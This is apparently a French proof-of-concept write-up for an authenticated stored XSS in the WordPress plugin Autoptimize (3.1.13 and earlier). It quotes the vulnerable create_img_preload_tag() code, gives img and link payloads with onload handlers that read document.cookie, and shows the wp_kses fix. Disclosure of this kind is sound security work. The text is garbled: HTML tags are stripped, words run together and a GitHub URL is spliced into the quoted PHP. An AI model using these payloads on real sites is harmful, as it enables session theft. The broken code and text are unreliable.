
Preuve de concept pour XSS stockée authentifiée dans Autoptimize < 3.1.14, exploitant une désinfection insuffisante des attributs dans la génération de balises de préchargement d'images.
Vulnérabilité : Cross-Site Scripting (XSS) Stocké Authentifié (Contributeur+)
Version affectée : Autoptimize <= 3.1.13
Version corrigée : Autoptimize 3.1.14
Fichier : classes/autoptimizeImages.php
La vulnérabilité se trouve dans la méthode create_img_preload_tag() du fichier classes/autoptimizeImages.php. Cette fonction est responsable de la génération de balises <link rel="preload"> pour les images trouvées dans le contenu lorsque l'optimisation ou le préchargement des images est activé.
Dans la version 3.1.13, la fonction utilise une approche de « liste noire » (via preg_replace) pour supprimer des attributs spécifiques comme title, alt, , , et de la balise `` d'origine avant de la convertir en balise . Cependant, elle ne supprime pas les attributs de gestion d'événements tels que ou .
classidwidthheight<link>onloadonerrorUn attaquant authentifié (avec au moins le rôle de Contributeur) peut intégrer une balise `` malveillante dans un article. Lorsque le plugin traite cet article pour générer des liens de préchargement, le gestionnaire d'événements malveillant est conservé et injecté dans le <head> de la page à l'intérieur d'une balise <link>. Comme <link rel="preload"> supporte l'événement onload, le JavaScript s'exécute lorsque la ressource est chargée.
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// INSUFFICIENT SANITIZATION: Only removes specific attributes
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag est souvent déclenchée pour les images détectées dans la zone d'affichage ou explicitement préchargées.<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- Malicious Image -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width, height, etc. peuvent être supprimés, mais onload reste.<link>, précharge la ressource et déclenche l'événement onload, exécutant ainsi le XSS.Le correctif remplace l'expression régulière de liste noire par wp_kses(), permettant une liste blanche stricte des attributs autorisés pour la balise <link> générée.
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );